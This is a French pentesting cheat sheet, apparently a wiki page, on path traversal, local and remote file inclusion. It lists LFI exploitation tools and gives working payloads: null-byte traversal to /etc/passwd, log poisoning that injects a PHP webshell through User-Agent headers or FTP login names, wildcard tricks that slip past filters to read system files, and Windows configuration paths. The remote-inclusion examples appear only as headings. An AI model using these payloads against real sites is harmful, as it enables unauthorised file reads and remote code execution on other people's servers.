Path Traversal / LFI / RFI
Outils dédiés aux path traversals et local file inclusion
Dernière mise à jour
Cet article vous a-t-il été utile ?
Outils dédiés aux path traversals et local file inclusion
Dernière mise à jour
Cet article vous a-t-il été utile ?
Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.
ressource:
LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.
ressource:
LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.
ressource:
Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.
Exemple pour une LFI:
On a un site qui ajoute des extensions automatiquement sur chaque uri
/target.com/index.php?page=../../../etc/passwd
devient
/target.com/index.php?page=../../../etc/passwd.php
ce qui donnera une erreur car passwd.php n'existe pas.
alors qu'avec le null byte,
/target.com/index.php?page=../../../etc/passwd%00
deviendra
/target.com/index.php?page=../../../etc/passwd%00.php
Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.
il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.
Voici quelques exemples de wrappers utilisés par PHP:
Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux
Essayez d'accéder à des fichiers de logs.
1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé
exemple: User-agent: <?php system($_GET["cmd"]); ?> ou dans l'url, ?param=<?php system($_GET["cmd"]); ?>
2. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).
2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.
2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.
2.3. Accédez au fichier de log et exécutez votre payload
Exemple pour un fichier /var/log/vsftpd.log.
vérifier: file:|pwd
vérifier un possible contournement de filtre avec des ?:
le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?
Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.
Par contre si vous entrez ceci,
/e??
/?t?
/??c
le seul répertoire possible cera /etc.
Plutôt que bin/cat etc/passwd il est possible d'utiliser:
/???/??t%20/???/???s?d
/../../c:/windows/system32/drivers/etc/hosts
C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config
C:path\to\file.txt
Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)
Exemples avec le webshell shell.php = <?php system($_GET["cmd"]); ?>
Exemple de RFI via protocole HTTP
Exemple de RFI via protocole FTP
Exemple de RFI via protocole SMB
$ waybackurls target.com | gf lfi | tee -a lfi.txt
ressource: